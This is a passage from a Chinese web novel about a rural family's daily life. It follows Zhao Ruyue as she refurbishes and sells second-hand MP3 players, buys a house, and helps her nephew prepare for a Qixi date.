不过择日不如撞日,既然遇上了机会,赵如月娘家人也不特地选什么好日子。 东西一到位,全都整齐地摆到赵如月帮他们用角钢做的架子上,直接就开张营业了。 赵如月她妈也受了他爸的启发,想卖点什么东西,想了想去,也不知道自己能做什么 干脆试着熬了一锅红糖马蹄糖水。 晚上把糖水拿到赵如月那边去冰,早上去把糖水拿回来。 放到差不多中午的时间,开始卖的时候,糖水里的冰只剩下一层冰渣。 吃起来冰冰凉凉,又甜滋滋的,味道很好,又不是特别冰,很受小孩子的欢迎。 因为价格便宜,时不时还会有大人买来喝。 现在天气热,她的糖水一毛钱一杯,反而卖得比零食还要好。 她卖的糖水也不局限于马蹄,往糖水里放什么,全看家里种的东西还有什么。 所以也就红糖花钱,虽然价格便宜但也有点赚头。 不过他们菜地里的菜还需要人侍弄,家务要有人做,儿子儿媳也需要去地里干活,家里需要留一个大人看着。 她跟赵斌就轮流在家里管着小卖部和家里的孩子,顺带做做家务,糖水每天只卖一锅,卖完就没了。 赵如月抽空去娘家看过一回,见到很多孩子在那里叽叽喳喳地商量接下来要放哪一步片子。 或者提醒赵思芸和赵光伟昨天又看到哪里了,让他们快进,等快进到昨天播放的地方后,又咋咋呼呼地喊:“就是这里就是这里,快停快停!” 隔壁家欺负过赵光伟的那个小孩悄悄在门口看,这会儿看起来倒是有点可怜巴巴的。 但没人搭理他,当初他欺负人的时候可厉害得很,不但欺负过赵光伟,也欺负过街上别的孩子。 那小孩没偷看多久就被家里人拽回去,隔壁很快传来小孩子闹着要买影碟机,接着就是大人打骂孩子的声音,边打边大声地在那边指桑骂槐。 可惜现在小桥街的人都知道他们家的人是什么德性,附近人家的孩子就没有没被他们家孩子欺负过的,只是以前他家有电视,很多人为了能去他家看电视都忍着。 现在有别的选择了,他们听到动静也不去劝,那边闹一会儿就停了。 过了几天,赵如月收到房子委托人的电话,那边说问过人在国外的房主,愿意五万五卖出那栋房子。 房子连着院子两百一十多平,五万五这个价格赵如月觉得很合适,他们也算是捡漏了。 赵如月很快跟委托人约好时间,办理了过户手续,顺便把赵如月和两个孩子的户口也一起转到了这个房子上。 因为他们在老家还有房子和地,宁绍明的户口则继续留在老家。 只是房子到手后,她和宁绍明手头是真的连一千块钱也没有了。 事情过后,他们也觉得现在的自己挺冒险,幸好仓库里还备着不少食材,暂时不用买。 开店和摆摊也是每天都有现钱进账,不至于开不出宁时春和宁丹萍的工资,或者全家缩衣节食地过日子。 赵如月想着,那楼里的很多家具以前用的都是好木头,正准备抽时间过去,把那里面还能用的家具卖掉,稍微回回血。 却忘了,这个时候是雨季,大雨说来就来,她背上包正要出门,外面忽然暗下来,那天跟漏了一样,瓢泼大雨哗哗地下。 停在她家门口的郑秀的车上,雨刮器刮雨水都要刮冒烟了。 “看来今天不适合出门,不过夏天的雨来得急走得也急,郑师傅先进店里看电视等等吧,可能半个小时、一个小时后雨就停了。” 这种天气显然不适合搬抬大件家具,赵如月只好暂时搁浅了去新买的房子那里,找人上门收家具的计划。 暂时出不了门,距离夜校上课时间还早,只好先留在家里。 但赵如月也没闲着,拿出她的工具箱,在店里开始修理她在县城买到的破MP3、MP4。 她挑的都是一些简单检查过后,自己觉得问题没那么大的机器。 以前觉得自己老家这个县城,属于贫困县,有钱人肯定不多。 实际上有钱人是真不少,就看她淘到的这些东西。 有些只是死机或者开不了机,或者屏幕裂了,人家就不要了,直接不要了转头又买一个新的。 比如有一个MP4只是长时间没用,电池电量耗尽,导致的无法开机。 也就是俗称的电池‘饿死了’。 估计这台MP4的前主人刚开始给它充电时,充不进去,就以为真坏了。 赵如月给它插上充电线,就放在一边不管了,打算等一个小时后再说。 其他人在她身边围观的人看得云里雾里的。 宁时夏好奇地问:“妈妈,以前你修东西,不是检查过后就把后盖弄下来修里面吗?这次是什么修理方法?” “现在不算修,算是测试吧,需要时间等等。” 一个小时后,外面的雨没停,只是变小了些,那台MP4传来一阵悦耳的开机提示音。 这让赵如月松了口气,要是充不进去的话,就得换电池了。 现在没花多少功夫,直接得到一台几乎九成新没翻修过的MP4。 “这样就好了?也太神奇了吧!”宁丹萍看着觉得电子维修这个专业大有可为。 她有些蠢蠢欲动地想要是自己考上中专,也学这个好了。 然而现实兜头就给她泼了一桶冷水,赵如月看她感兴趣,又说想学,也觉得她可以学一学以后也算一门手艺。 就让她先拿家里坏掉的时钟做点简单的练习,比如试着把那个坏掉的时钟拆开,再原样装回去。 宁丹萍上手一试,结果跟她小堂弟宁时秋一样。 时钟是装回去了,但多出来几个零件,也不知道是装在那里的。 装回去后,那个时钟晃起来里面还丁零当啷地响。 围观的宁时秋毫不客气地学着妹妹嘎嘎笑的样子,在她旁边大笑。 气得宁丹萍追着他揍。 不过他也不光是笑话堂姐,也根据自己对堂姐的观察,给出了一个还挺有用的建议:“丹萍姐,我觉得你比较适合当医生或者护士。” “为什么?” “你干活利索,不怕苦不怕累,而且你不怕血,我还记得你第一次杀鸡的时候,眼睛都不眨一下,手起刀落,咔嚓一下,很厉害。” “我第一次杀鸡的时候……”宁丹萍想半天,自己都想不起来是什么时候了。 但宁时秋还记得:“是你还上小学五年级的时候,那时候我差不多四岁,家里大人都忙着农忙抢收,让你在家做饭,有一只鸡热晕了,家里人以为那只鸡死了,觉得扔了可惜,又没空收拾就让你来,你仔细想想?” 小学五年级,她大概十一岁。 宁丹萍仔细一想:“好像确实是那个时候的事。” “你再想想,你平时杀鸡、杀鱼、杀鸭子、杀鹅,是什么感觉。” 其实以前家里还养猪的时候,堂姐还帮家里按过猪,只是她没能上手宰。 当时还私下跟他碎碎念过,觉得大人们的手法不行,然后在那里比划着说:应该这样拿刀,从这个角度戳进去一划拉,不应该那样的之类的话。 宁时秋就觉得,他堂姐连猪都能按住,以后真学医的话,病人挣扎起来,肯定也能按住。 宁丹萍平时真没注意过那是什么感觉,周边每家每户,谁不会杀鸡杀鸭? 所以宁丹萍就觉得自己会这个,没什么大不了的,就说道:“我没什么感觉啊,就是找准喉管,把鸡脖子上的毛拔掉一点,再划拉一下,简单得很。 就是要注意刀不能太钝,得提前磨一磨,不然划拉一下还不行,鸡一下杀不死,还会装死骗人,一扔出去,它就站起来满屋子乱跑,把血甩得地上和墙上都是……” 宁丹萍说起来很简单轻松的样子,就是突然觉得周围很安静:“你们干嘛这么看着我?” 宁时夏学着电视里的样子,双手抱拳:“女侠,请受我一拜!” 然后眼睛亮晶晶地问:“丹萍姐,以后能不能也教教我?” 宁丹萍点头:“可以,但得等你再长大点,而且不晕血才行。” 听了宁时秋的话,宁丹萍就把这事放在了心上,只是她觉得自己当医生的机会不太大,就把目光放在了中专的护理专业。 因为想当医生需要的分数太高了,还需要读很久的书,她的家庭情况不允许。 家里指望不上,她就得尽快读完,早点出来赚钱养活自己。 赵如月在几个孩子旁边,边修其他机器边听着他们说话。 在心里想着,如果宁丹萍真学了护理专业,以后实习的时候,她倒是能回娘家那边找人帮帮忙,给安排一个好一点的医院并且留在那里,但是能不能考上编制也是要看她自己。 合同工的待遇跟有编制的待遇可不一样。 赵如月把重新充进电的MP4表面处理干净,敲了敲桌子,打断热烈讨论以后自己要做什么的几个孩子。 “这个谁想要?” 她本来还担心他们争抢,都想好该怎么劝了。 结果另外三个想了想,全都一起指向宁时春。 宁时春反应慢了点,还没想好这个谁比较需要用呢。 看到他们都指着自己有点懵:“我用不着这个吧?” 那三个指着他的异口同声:“用得着。” “啊?”宁时春不由挠头,“为什么?” 赵如月看他们都让给宁时春,就把MP4往他那边推了过去,不过她其实也不明白,他们怎么那么一致地认为宁时春用得着的? 宁时秋不好意思说,就让妹妹说:“小夏,你来当我们的代表发言。” “好嘞!”宁时夏清了清嗓子,说出一句让宁时春脸色爆红的话,“因为小春哥要谈恋爱,要约会,所以他最需要!” “那、那什么,你们这个,这是……”宁时春看向他三叔。 他三叔觉得自己很无辜:“可不是我告诉她们的,不信你问问他们怎么知道的。” 都不用问,宁时夏直接就说了:“小春哥看到孙义杰的姐姐,眼睛都不眨一下,每次他姐姐来给孙义杰买米粉,小春哥还会另外给她装肉多多的羊汤,偷偷跟她说,让她吃完再回家,别亏着自己。 然后他们两个的脸就跟大苹果一样,红通通的,我哥说这就是谈恋爱。 他俩要去约会是我听到的,那时候我蹲在地上玩西瓜虫,他们不知道我在,我先去那个地方的,不是故意偷听哦!” 宁时春的脸简直红得要滴血,偏偏他亲妹妹还在接着小秋的话说:“你们想想,到时候我哥和佳佳姐一起坐公交车去县城约会,两个人坐在靠窗两人座的位置,一人戴着一个耳机听音乐,这时车窗外的风吹进来,吹动女孩子的头发,天呐,这得多浪漫啊~简直跟电视上的画面一样!” 赵如月听她描述这个就明白了。 这个场面是宁丹萍跟两个小的一起看电视的时候看到的,当时这三个一起捂着嘴嘿嘿嘿地笑。 当时赵如月还以为他们不好意思,谁知道是联想到宁时春和他对象身上去了,怪不得会那么一致地觉得给宁时春最合适。 不过他们是不是忘了,镇上去县城的公交车,一路鸡鸣鸭和着乡音此起彼伏,很难像电视上那么浪漫。 但他们都说了给宁时春,赵如月就直接塞他手上了、 还不顾宁时春那个大红脸问道:“你知不知道你对象喜欢听什么歌?知道的话现在可以写下来,我去县城的时候帮你下载,到时候你们可以一起听。” 宁时春忙摆手说:“不用不用,三婶,我们真用不着听歌。” 赵如月还以为他不好意思要那个MP4,正想劝他,这个买回来没花多少钱。 他却继续说道:“我跟佳佳分头去县城,不坐同一辆车。” “那怎么行?”几个助攻兼军师第一个不同意。 “我们现在还没正式在一起呢。”他不好意思说,佳佳的家人因为他爸的事,不同意她跟自己在一起,但佳佳自己是愿意的,所以才同意七夕跟他一起去县城玩。 宁丹萍恨铁不成钢地拍了她哥一掌:“又没有人规定没正式在一起就不能一起听歌,你要浪漫一点,主动一点,人家才会答应跟你在一起呀!你一个男的不主动,难道要人家女孩子主动吗?” “就是就是!” 宁时春没办法,只好把MP4收下了,不过他也不知道孙佳佳喜欢听什么歌,只能说:“歌就不用下载了。” 赵如月点头:“也行,我看过里面的东西,有挺多歌曲的。” 过后宁时春见到孙佳佳,跟她说三婶送了自己一个MP4后。 他鼓起勇气试着问人家:“我们去县城那天,你要不跟一起去吧?我们可以坐在一起听歌,你不是说坐公交车总觉得有点头晕吗?我听说在车上听歌就不容易头晕了。” 孙佳佳有些害羞地低下头,然后微不可查地点了点头。 要不是宁时春的目光一直没从她身上移开过,可能还看不出来她点头同意了。 “那、那我们说好了,”主动有了好结果,宁时春也觉得妹妹的话确实有点道理,继续加了把劲,“我们到时候搭早上第一班车去你觉得怎么样?我想着早点去可以多玩一会儿。” 孙佳佳继续点头,其实宁时春说一起坐车去的时候,孙佳佳心里也松了一口气。 她家人对她不太好这事,宁时春知道,所以跟他一起坐车的话,他肯定不会让自己出钱。 其实孙佳佳本来是想来跟宁时春说,自己不想去了的,因为她连去县城的公交车费都没有。 本来她去摘夏枯草卖,偷偷攒了五块钱,藏在枕套里面,不知道怎么被她弟弟发现了。 她弟弟把钱全偷走了,她告诉父母,父母还觉得这不是偷,反而骂她冤枉弟弟,说她没安好心、自私恶毒,这么对弟弟迟早遭报应。 孙佳佳很委屈,也吵不过家里人,只能来找宁时春取消约会的计划。 现在事情峰回路转,让越发坚定了要跟宁时春谈的心。 不过自己兜里一分钱都没有也不行,孙佳佳往家里走的时候,也思索着该怎么再赚一点钱,可惜镇上赚钱太难了,想赚钱还不让家里人发现更是难上加难。 本以为来得快,去得也快的雨,这次却一连下了一个星期。 镇上和县城都有点内涝,等到终于天晴,又过了一天,内涝的水才彻底退去。 下雨的这一个星期,赵如月前几天还能去上课,后来就没法出门了,宁绍明则是在下雨第一天就没能去夜市街摆摊,突然有了空闲时间,他只好在家里捣鼓烤箱,变着花样给家里孩子做好吃的。 有时候面包做多了也放在店里卖。 只是下雨来的人不多,有时候即使当天备货不多,也还是会剩。 赵如月就让他把卖不完的面包分别用塑料袋装起来,放到冰柜的冷冻室冷冻,想吃的时候再拿出来复烤。 这仿佛是打开了宁绍明的任督二脉,他做面包时也不用担心吃不完总要控制自己了。 冰箱里很快多了一大堆冷冻的面包和蛋糕,等到天气终于放晴。 镇上下雨就不爱出门的人再次来他家买东西,就发现他家这天卖的面包种类丰富很多。 赵如月也终于有空去拆迁区那栋房子看看,结果一去,就看到院子里靠围墙搭着的一个小屋子塌了,估计是前几天风太大,把楼上的一侧的窗户吹开,里面的家具全被雨淋透。 原本看起来没什么问题的瓦片,也是漏水的。 赵如月心想:得亏不是真的买来住,要不然就这个样子,修起来估计比买房子花的钱还要多。 怪不得以前没人喜欢来这边买房子。 她出去的时候遇到邻居小卖部的老板娘,对方还热情地跟她打招呼。 赵如月客气地跟她寒暄了几句,正要找个借口离开。 那老板娘却才刚说到她想说的正题:“不知道你家打算什么时候翻修这个房子啊?要是翻修的话可以找我男人,他有个施工队的,他和他施工队的人,个个手艺都很好,我可以带你去看看他们修过的屋子,保管又便宜又好又修得快。” “这……”赵如月做出为难的样子,“我们现在还在存翻修的钱,估计要存两三年,到时候房子修好,我家大孩子也上初中了,正好能到县城来上学。” “两三年后也没关系嘛,”她拿出一张名片塞进赵如月手里,“这个名片你收着,到时候有需要的话,随时联系啊?” 赵如月点点头,找了个借口离开后,看了一眼名片就随手塞进了包里。 那个房子翻修是不可能翻修了,张彦君打电话来说,幸好她跟两个孩子迁户口快,要不现在再想把户口迁过去可不行了。 与此同时,随着晴朗天气而来的除了阳光,还有调查组的人。 纪慧萱没来得及通知赵如月,就有人找来,跟她家了解情况。 赵如月和宁绍明没说她们在市里网吧见到过纪慧萱的事。 只把自己当成普通学生家长,描述自己知道的事实,也没忌讳把自己想过要找其他家长一起去找学校闹的事。 毕竟他们又没真的闹起来,还只找了一家,别人也不能拿他们怎么样。 在他们这里调查到的东西也就这些,调查人员很快离开了。 宁时秋不知道自己班主任打算辞职的事,还以为有人来调查之后,事情就能圆满解决了,一切都会回归正轨。 七夕节前一天,孙佳佳又来找宁时春。 宁时春既高兴又意外,他们平时为了不让她家里人发现,见面的次数很少。 他还以为要到明天早上才能见到她。 “佳佳,这个时候你怎么来了?你等等,我给你拿好吃的。” “不用,”孙佳佳拉住宁时春的袖子,咬了咬牙似乎做出了什么艰难的决定,“时春,我明天不想去县城玩了。” 宁时春听到这话,感觉像天塌了一样。 不等他问为什么。 孙佳佳的话让他碎了的心又重新粘合。 “我想去市里,可以吗?” 宁时春不懂她怎么突然改变主意,但还是答应了:“可以,你想去哪里玩就去哪里,我都听你的。” 孙佳佳笑了:“那我先走了,时春,明天见。” 第106章 赵如月每天抽点时间,把她在县城回收站收回来的十几个MP3和MP4修好了。 运气还算不错,只有几个是彻底坏掉不能修的。 不过这几个坏掉的也不是一点用都没有,亏不了本。 它们被拆开后,有些零件或者屏幕还能用,着实给赵如月省了不少钱。 最后一共修好六个MP3,3个MP4,3个MP4包括给宁时春的那个在内。 赵如月给自家两个孩子各留下一个MP3和MP4。 不过也跟他们约定好,不能因为玩这些影响学习,也不能总是用耳机听歌,还有听歌的时候声音也不能把声音开得太大声,以免影响听力。 两个孩子答应后都认真执行了,而且宁时秋还更喜欢赵如月给他买的录音机。 最近一段时间,迷上了听他英语课本背后附带的光盘。 他一般会先用影碟机看一遍,然后跟着读,在自己学会并且背下来之后,自己对着录音机读一遍,慢慢纠正自己的口音和自己觉得读得不好的地方。 宁时夏则更喜欢用录音机听广播,宁绍明之前给她挑漫画书的时候,不知道怎么一堆日本漫画里,还夹了一本叫《飞行员紫罗兰》的儿童绘本。 她看了那本绘本之后特别喜欢,天天看都看不腻。 最近用录音机的收音电台功能,收听到一个正在讲空军和飞行员的军事频道。 小姑娘每天蹲点,听得津津有味,也不知道她到底能不能听得懂。 MP4就这么自家分完了,剩下四个MP3,赵如月自己买了几副耳机搭配,打算卖出去。 她本来想弄个带盖子的塑料展示盒,放在收银点单的柜台上卖。 结果展示盒都没来得及买,被宁丹萍的同学兼好朋友知道她这里有便宜的MP3后,跟宁丹萍玩得好的几个女孩子,就托宁丹萍帮她们问问具体价格。 宁丹萍直接就把她们带来了店里:“三婶,我这几个朋友想买MP3,你定好价格了吗?” 赵如月说:“还没呢,本来想我先买个展示盒,再买点标签贴上,定价可以慢慢想来着,你跟你朋友说清楚这些MP3是二手翻修的,所以才会比较便宜了吗?” 不等宁丹萍回答,她的几个朋友立刻点头抢答:“阿姨放心,丹萍都说清楚了,我们也明白,如果不是二手翻修过的MP3,怎么可能会比她那个从羊城寄来的还便宜。” 她们之前也想求宁丹萍请她三婶找羊城的朋友帮忙,从羊城买了寄回来的。 可宁丹萍过,她三婶找人家帮忙,可能要欠人家人情,到时候这个人情是要她三婶去还的,她不能这么做。 她们只好放弃了,没想到柳暗花明又一村,竟然能买到比那个更便宜的MP3! 赵如月听到她们说的话后点点头,拿出那几个MP3让她们先看看。 “你们是丹萍的好朋友,价格我只要个吉利的数字,八十八块钱就好了,如果摆出来卖的话,我定价肯定不会低于一百的。” 毕竟到县城买的话,最低都要三四百,这还没把去县城的车费包含进去。 在她们兴奋地试着MP3,毫无防备的时候,赵如月又才继续问:“你们来买MP3,父母知道吧?” 可别到时候钱是背着家里拿的,或者虽然是自己攒的前,但父母不同意买,被父母发现后,她这里被人家父母找上门来。 猝不及防之下,她们下意识回答出了真相。 有两个说已经跟家里父母说过了,父母听说这里便宜,给钱来买的。 另外三个说是自己攒的钱,但是她们父母不在家,每年又只回来一次,要么春节回,要么扫墓的时候回,管不着这个。 只有一个说父母不给钱,她自己攒钱买的。 赵如月只好遗憾地跟其中四个说:“我这里卖的MP3,哪怕再便宜也是要大几十块钱,这个钱对你们来说,可不是小数目,在镇上一天三顿吃米粉都能吃一个多月,相当于一个人至少一个月的生活费了,所以这个事,得经过你们父母同意,我才能卖给你们。” 她以前没问过宁丹萍的父母,是因为那时候情况有些特殊。 而且宁丹萍勉强算是自家孩子,那时候这孩子的情绪又特别不好。 还有就是,宁丹萍她妈是什么样子,赵如月太了解了。 再者这件事哪怕被王海燕知道,赵如月也不怕,大不了她自己花钱把那MP3买下来自己用。 不过王海燕现在也不敢多管宁时春和宁丹萍的事了。 王海燕生怕管得太多得罪她和宁绍明,到时候他俩直接撒手不管,王海燕可没地方哭去。 “为什么?”那几个女孩子对赵如月的话,都表示不理解。 宁丹萍的三婶卖东西,她们买,一手交钱一手交货,自己钱给够不就行了? “因为你们还没到十八岁,不是成年人,万一你们家长找过来,我这里会有麻烦的,所以我觉得你们还是先回去跟家里商量一下。” 有两个女孩子看了一眼墙上的挂钟,果断决定马上就打电话去问自己父母。 MP3一共只有四个,她们有两个小伙伴的父母已经直接同意并且给了钱的。 剩下两个MP3,她们要是不争取的话,以后可不一定还能遇上这种好事。 她们有些不好意思地问:“丹萍三婶,能不能借一下你这里的电话?我们可以给钱。” 赵如月摇头说道:“如果你们在五分钟内结束通话的话,不用给钱。” 即使把她的修理技术和时间、精力一起算进成本,这几个MP3的利润依然比较高。 给她们打几分钟电话也不会亏本,赵如月觉得没必要收这些小钱。 有两个人打电话,另外三个也着急了,也说想给父母打电话,只有那个父母已经明确不同意,自己攒钱偷偷买的女孩子有些难过地坐在原地,她知道自己肯定挣不过别人了,与其给父母打电话,让父母知道自己偷偷攒了钱,还不如不打。 以前宁丹萍的处境跟她差不多,看她心里难受也是感同身受。 宁丹萍安慰道:“之前我比较忙没时间听歌的时候,不是把MP3轮流借给你们听嘛,现在我们这些人里,其他四个人都买了自己的MP3,她们就不用借我的了,剩下你和另外一个轮流借,是不是比以前能轮到的机会多了不少?你们俩要是待在一起的话,还能一人一个耳机一起听。” 这话实实在在地安慰到了,她的两个没能买到的同学。 因为宁丹萍有时候真的特别忙,不但忙店里的事情,她还忙着看书,一般只有晚上才有时间听歌。 她三叔三婶家里还有电视机和影碟机,不听歌也能看这些消遣。 所以几乎整个白天,她们都能借她的MP3听歌,也就是不能自己决定下载什么歌,也不能随时随地想听就听,但自己不花钱已经很好了。 几个人没因为这个事产生什么嫌隙,还说以后可以互相借着听歌。 赵如月让四个家里同意买的女孩子先把每个都看过去,然后自己商量谁要哪个。 等她们商量好,付了钱,赵如月让宁丹萍把她MP3的保修卡拿出来给她的同学看。 告诉她们:“我现在卖的MP3是二手翻修机,没有自带的保修卡,所以我会记下你们在我这里购买的时间,你们在我这里买的MP3,以后保修规则跟丹萍这张保修卡上的一样。 现在你们可以先仔细看看丹萍这张,稍微记一下什么情况、什么时间内、出现什么问题可以免费来我这里修理。 不过记不住也没关系,今天是来不及了,改天我会把这张卡复印几份,让丹萍帮忙转交给你们。” 听到赵如月的话,几个卖了MP3的女孩子都很惊喜。 她们本来已经做好买二手物品没有售后的心理准备了,没想到竟然还有这种意外之喜。 其实也是赵如月自己已经会修了,售后完全可以自己来。 不然她就会劝她们认真想好,再决定要不要买了。 现在的二手物品,确实大部分都是不退、不换、不保修的,这就是价格便宜需要承担的风险。 卖掉四台MP3,收入三百五十二块钱,不算她自己的技术和时间精力,只算在回收站买MP3的钱,还有后续她买的一些材料钱的话,满打满算成本还不到一百块。 其中有些材料还没用完,甚至还可以用很久,这些赵如月就没细算了。 这几台MP3卖出去,再加上赵如月家的两个孩子也有,镇上的人很快知道赵如月竟然除了会修家电,还有这收益。 不禁去算她买MP3到底有多少利润。 也有人来店里吃东西的时候直接问她,赵如月当然不会傻兮兮地直接告诉人家。 只说就是赚个技术钱,修这些也花费不少时间精力,还有材料也要买,有些可不便宜,不信可以去找人问问。 镇上的人又能去找谁问呢?很多人都觉得镇上那家修理店坑,店里人说的话,大家也是半信半疑。 赵如月就是知道,很多人只是想直接得到一个答案,并不想自己动脑子算,更不会认真地去查,她才会这么说。 只要等过一段时间,风头过去后,又有新鲜的事情吸引掉别人的注意力,很多人就会把这件事抛到脑后。 再想起来时,也只是对她多了个会修MP3和MP4的印象。 不过在知道赵如月真的会修MP3和MP4后,镇上回收站的老板竟然找来了。 他提出愿意花二十块钱一台的价格,请赵如月帮忙修,当然除了需要花钱比较多的配件,比如主板和屏幕之类,一般的零零碎碎价格不贵又用得不多的修理零件,需要赵如月包。 赵如月看他带来的那一大堆,MP3和MP4杂乱无章地混在一起,目测得有三四十台。 她想起自己跟女儿去问的时候,这老板还说他那里没有,这才过了几天就又有了? 倒不是赵如月记仇,毕竟人家没义务什么都如实跟她们说,人家也可以说,是这段时间去别的地方才收到的。 不过他带来的实在太多了,如果只是一两个或者两三个,她也许就答应了。 二十块钱一台,她确实也有得赚,慢慢修的话,每天花不了多少时间。 但人家花了修理费,不一定愿意让她慢悠悠地,按照自己的时间和节奏安排来干活。 而且这么多台,她可能未来一两月的业余时间,可能都要浪费在这些东西上面。 现在她的业余时间本来就不算多,用来做自己的事和陪孩子都勉勉强强,再接这么些活,恐怕有一段时间真的没法,每天抽出一点时间去陪伴孩子了。 这样不就跟她和宁绍明当初回老家陪伴孩子的决定本末倒置了吗? 赵如月直接婉言拒绝:“不好意思啊,不是我不想挣这个钱,而是我真没空,我跟我家那口子准备在县城开分店,刚找到铺面,得抓紧时间去装修,赶紧开店,要不这铺面多空放一天,就是浪费一天的租金,我是真的没法再接活了。” 她也不管人家信不信,反正理由已经给了。 回收站老板不信也没办法,人家不接这活,他总不能勉强人家,只好抱着那一堆东西又回去了。 听说回去后又私下打听赵如月上的夜校培训班,估计是觉得利润高,想自己学了再修。 赵如月没再多关注。 七夕这天,宁时春早早起床,穿上了自己新买的衣服,在梳子上沾了点水,把头发梳得整整齐齐油光水滑的。 他还特地跟朋友借了定型摩丝,给自己头发上用了一点。 宁时夏趁宁时春不注意,悄悄摸了一下他的头发,然后跑去告诉赵如月:“妈妈,小春哥今天的头发跟钢筋一样硬。” 她还给她堂哥起了个外号:钢筋哥。 赵如月听了憋笑憋得很艰难:“可不能随便给别人起外号,以后你给别人起外号,要是别人不喜欢,觉得不高兴了,就别再叫人家外号知道吗?” 宁时夏乖乖地点头:“小春哥出门了,我等他回来再问他。” 赵如月把孩子哄出厨房,让她自己玩去,才跟宁绍明一起在里面捧着肚子笑。 偶尔宁时春休息或者有事不在厨房的时候,赵如月就会进厨房帮忙。 家里生意做了这么一段时间,赵如月煮米粉和调凉拌粉、凉拌面还有凉皮的手艺也算不错了。 但是炒米粉还不行,她用铁锅炒米粉总爱粘锅。 这个时候她就有点想念不粘锅了,要是有不粘锅,她觉得自己的厨艺也不是不能再好一点。 今天宁时春要跟对象去市里玩,赵如月就把外面给客人点单的活交给宁丹萍。 宁时秋和宁时夏一个帮忙收钱找零,一个帮客人装面包和蛋糕。 她自己到厨房帮忙。 一直忙到十点半,人少了点,剩下的客人点的都是炒米粉,宁绍明就让她先去休息。 赵如月擦了擦汗水,正准备出去,就看到有人直接把头伸到出餐口喊:“老板娘,来两份羊肉煮米粉。” 她正委婉地提醒一下客人不能这么把头伸进来,定睛一看,竟然是堂妹赵如玉。 “你今天休息?”赵如月有些惊喜地问。 她把小灵通买回来后,堂妹一直忙得连轴转,赵如月也不好去打扰她,东西也就没找到机会送出去。 赵如玉笑着说:“是啊,刚好休息就回来看看我爸妈。” “你可算能休息了,前段时间本来我想去找你聚一聚吃个饭,看你一直在忙就只能算了,这次你能在老家待几天?” 赵如玉说:“勉强算两天吧,在家住一晚上,明天下午回县城。” 赵如月拉着她的手说:“那今晚可一定要来我家吃饭!” 赵如玉本来还以为堂姐是开玩笑,可看她的神色很认真的样子,明显不是在开玩笑,也不是客气一下,是真想叫她来吃饭。 只是赵如玉有一段时间没回来看望父母了,有些为难。 “我爸妈估计在家准备了饭菜,这……” 赵如月其实也知道这一点,所以话音一转:“那中午来我这里吃个午饭?” 中午赵如玉倒是可以,但她担心影响堂姐家的生意:“中午这段时间,你们店里饭点吃饭的人应该不少,你们会很忙吧?” “没事,我让你姐夫提前把我们要吃的大菜准备好,小菜我来准备就行,现在天气热,又是暑假期间,客人没有开学的时候那么多,应付得过来。” 赵如玉玩笑道:“那我们今天有口福了,能吃到酒店大厨的手艺。”这算是答应了。 赵如月笑着跟她又寒暄了几句,在他们离开前,把店里的面包、蛋糕这些每样拿了几个装好,塞给他们。 “带回去给叔叔婶婶他们尝尝,你哥家的小孩也可喜欢吃这些,就是他现在太胖了,三叔说要控制饮食减重,要不以后影响发育,大人就不常给他来我这里,只偶尔给他吃一次。 你带这些回去他肯定高兴,吃的时候你们大人也分着尝尝,不给他吃太多就行了。” 赵如玉没推辞,大大方方地收下了:“谢谢姐,那我带回去哄哄他。” 送走赵如玉,赵如月又进了厨房,她刚刚在外面跟赵如玉说的话,宁绍明在厨房里也听见了。 看到赵如月进来就问她:“我们中午做几个菜?” 赵如月说:“按照七八个人吃饭的菜量来做。” 宁绍明:“你堂妹娘家其他人不来?” “我说了叫他们夫妻俩中午来我们这里吃饭,没提到其他人,她肯定不会带其他人来的。”赵如月的本意不是请客吃饭,而是送礼。 要是叫其他人一起来,那他们肯定要想为什么自己要给赵如玉夫妻俩送东西了。 她和宁绍明在县城买房的事,连自己父母都没说。 她跟赵如玉说过暂时不想其他人知道,赵如玉和她婆家人就不会乱说,这方面他们还是能信得过的。 宁绍明想了想说:“做八菜一汤,外加三个凉菜,总共十二个菜你觉得怎么样?” “挺好,你等会儿想想做什么,把要买的东西列给我,我出去买。” 宁绍明正好做完这一波客人的最后一份炒米粉:“我现在就写吧,早点买回来,我早点处理,不然过了十二点,镇上卖肉卖菜的就少了,东西也不够新鲜。” 赵如月夸了他一句:“还是你想的周到。” 给宁绍明美得挥舞锅铲都更有劲了。 菜买回来处理好,除了需要腌制一段时间的肉类,还有新鲜出锅口味和色泽才够好的绿叶青菜。 能提前做的菜赵如月和宁绍明都提前做了。 到中午十一二点,来吃东西的客人多起来,他们又忙着去做客人点的东西。 就这么一直忙着再抽空做饭菜,因为家里有两个厨房,互相不会影响,他们竟然也在中午一点之前,把大菜和凉菜都做好了。 天太热,家里本来煮了粥,但他们这里不管待客是什么时候,不管客人会不会吃。 待客时都必须要有大米饭,所以赵如月也用电饭锅闷了一点米饭。 赵如玉娘家就是赵如月的三叔家,他们家也有电话,她提前十分钟打了个电话过去,跟赵如玉说饭好了。 然后估摸着他们快到了,才开始炒绿叶青菜。 等人一到,青菜刚好上桌。 赵如玉跟她丈夫到了之后,看着那一桌菜,心想:幸亏今天没跟堂姐客气,要不有些菜在本地可吃不到。 十二道菜里,有一部分是本地席面上常见的菜,另一部分则是宁绍明在酒店时学会的。 “这些菜光看着就让人直流口水,今天我们真的是有口福了!” 赵如玉的丈夫也说:“我吃完今天这一顿,回去肯定念念不忘,如月姐,等我和如玉的孩子满月,能不能让姐夫帮我们做几桌? 我单位规定满月宴、寿宴之类的不能大办,到时候估计也就办个五六桌,自家亲朋好友吃个饭热闹一下。” 不过赵如玉的丈夫说完,看到老婆无语的表情,才意识到自己说漏嘴了:“看我这嘴,跟个漏勺似的,家里叮嘱了没满三个月不能说来着。” 赵如月笑道:“如玉这是有了?喜事啊!我替你们姐夫应下了,到时候一定去帮忙!” 宁绍明也点头附和她的话:“能帮上你们的忙,我这身厨艺也算是有了用武之地。”毕竟人家也帮了他们家不少。 赵如玉悄悄瞪了自己丈夫一眼,但也没在亲戚面前下他面子:“姐姐姐夫和小秋小夏是自家人,也不算说漏嘴了,我原本也想跟如月姐说的,还想跟姐好好取取经呢,看看小秋小夏养得多好,又漂亮个子又高,还聪明伶俐。” 本来宁丹萍中午也要一起吃饭,但她觉得跟不熟的人一起吃饭不太好意思,就说要去给自己同学送MP3,可能老来不及在饭点及时赶回来,带了面包打算中午跟同学一起吃。 赵如月和宁绍明也不勉强她一定要在家吃,就随她去了。 一顿饭宾主尽欢,吃完后,又做了聊了好一会儿天。 赵如玉夫妻俩准备走的时候,赵如月才把给他们准备的礼物拿出来。 “你们办了我不少忙,不送点什么,我跟你们姐夫总是觉得心里过意不去,这个你们就收下吧。” 